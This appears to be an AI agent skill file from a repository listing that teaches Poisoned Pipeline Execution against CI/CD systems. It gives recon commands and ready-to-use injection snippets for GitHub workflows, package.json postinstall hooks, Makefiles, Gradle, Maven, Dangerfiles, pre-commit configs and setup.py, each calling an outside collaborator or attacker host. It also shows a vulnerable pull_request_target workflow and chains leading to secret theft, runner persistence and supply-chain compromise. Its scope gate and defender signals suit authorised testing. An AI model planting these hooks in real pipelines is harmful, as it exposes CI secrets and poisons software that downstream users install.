AGENT SKILL

poisoned-pipeline-execution

Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
Stars
★ 0
Forks
0

01 前言 Front Matter

name
poisoned-pipeline-execution
metadata
{ "tags": "ci-cd, ppe, pipeline, execution", "subdomain": "execution", "when_to_use": "ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script", "mitre_attack": "T1195.002, T1199, T1059" }
description
Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
allowed-tools
Bash Read Write

03 SKILL.md 正文

Poisoned Pipeline Execution (PPE)

PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy):

  • Direct PPE (D-PPE): attacker edits the pipeline config itself (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile) in a PR/branch the CI runs.
  • Indirect PPE (I-PPE): attacker edits a file the pipeline calls — build scripts (Makefile, build.gradle, pom.xml), package-manager scripts (package.json scripts, setup.py), lint/test hooks (Dangerfile, .pre-commit-config.yaml, tox.ini, pyproject.toml [tool.poetry.scripts]), or any file make test ends up sourcing.

Recon — does the target build untrusted code?

# 1. Workflow triggers that build PRs
grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null

# 2. Does CI install + run scripts before any review gate?
grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null

# 3. Are forks allowed? (default: yes on public repos)
gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}'

# 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting)
gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null
# Default for public repos: first-time contributors require approval; returning contributors don't.

Direct PPE — edit the workflow itself

# Attacker branch: feature/innocent-typo-fix
# .github/workflows/ci.yml — add a step that exfils env
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "fix: tweak test runner"   # blends in
        run: |
          # Beacon-only PoC — DO NOT exfil real secrets in research
          curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \
            -d "ref=$GITHUB_REF"

D-PPE works when the workflow runs on pull_request from forks without the "require approval" gate, or when the attacker has push access to a branch CI builds.

Indirect PPE — edit a file the pipeline calls

package.json scripts

// PR diff — adds a postinstall that fires when CI runs `npm ci`
{
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\""
  }
}

npm ci / npm install will execute postinstall by default. Same trick works with preinstall, prepare, prepublish. Yarn / pnpm honor the same hooks.

Makefile / make test

# PR adds an indented line under the existing `test:` target
test:
	pytest -q
	@curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true

Gradle / Maven

// build.gradle — runs at evaluation, before any task
allprojects {
  doFirst {
    "curl -s https://<COLLAB>/gradle".execute()
  }
}
<!-- pom.xml — exec-maven-plugin attached to validate phase -->
<plugin>
  <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId>
  <executions><execution><phase>validate</phase>
    <goals><goal>exec</goal></goals>
    <configuration><executable>curl</executable>
      <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments>
    </configuration>
  </execution></executions>
</plugin>

Danger / pre-commit / lint hooks

# Dangerfile — runs on every PR in many JS/iOS pipelines
`curl -s https://<COLLAB>/danger`
# .pre-commit-config.yaml — points to attacker-controlled repo
repos:
  - repo: https://github.com/<ATTACKER>/innocent-lint
    rev: main
    hooks: [{ id: lint }]

setup.py / pyproject.toml

# setup.py — runs at `pip install .` time
from setuptools import setup
import os; os.system("curl -s https://<COLLAB>/setuppy")
setup(name="x", version="0.0.0")

Test fixtures

conftest.py, jest.setup.js, karma.conf.js, cypress/support/index.js, phpunit.xml bootstrap files — all execute before the first test runs.

pull_request_target — the dangerous trigger

pull_request_target runs in the base repo context with secrets and a write GITHUB_TOKEN, but if the workflow then checks out the PR head, the attacker's code runs privileged:

# VULNERABLE — DO NOT WRITE THIS
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # <-- attacker code
      - run: npm ci && npm test                                    # <-- runs attacker code with secrets in env

A fork PR adding an postinstall to package.json now runs with secrets.* available.

Chains

Chain Pivot
I-PPE in a build script -> printenv -> CI secret -> deploy creds See cicd-secrets-exfil/SKILL.md
D-PPE on protected branch via stale review approval Push to PR after approval (use dismiss_stale_reviews-misconfigured repos)
I-PPE on self-hosted runner Persistence via cron / systemd; see self-hosted-runner-abuse/SKILL.md
I-PPE -> push tag / publish package via GITHUB_TOKEN Downstream supply-chain compromise

Tools

Tool Use
gato / gato-x Scans orgs for PPE-prone workflows, automates fork-PR PoC
actionlint Reverse-use: flags pull_request_target + PR-head checkout
octoscan, zizmor Static workflow analyzers
tj-actions/changed-files CVE-2025-30066 Real-world I-PPE-via-action precedent

Detection signatures (defender view)

Signal Where
Edit to .github/workflows/* in a fork PR GitHub UI flags "workflow file change" on first run; defenders watch for it
New postinstall / preinstall / prepare in package.json diff git log -p package.json
New outbound network from CI runner during build egress filtering on runner subnet
pull_request_target + checkout of head.sha static lint (zizmor, octoscan)

Decision gate

  1. Confirm written scope covers CI/CD testing.
  2. PoC payload = single DNS / HTTPS beacon, no real secret exfil.
  3. Open the PR from a clearly-labeled security-research-* fork; close + delete after capture.
  4. Never push to protected branches, never publish artifacts, never tag releases.

References

  • "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE)
  • Palawan / Cider PPE taxonomy
  • tj-actions/changed-files incident (Mar 2025) — supply-chain via reused action

04 同仓库更多 Skills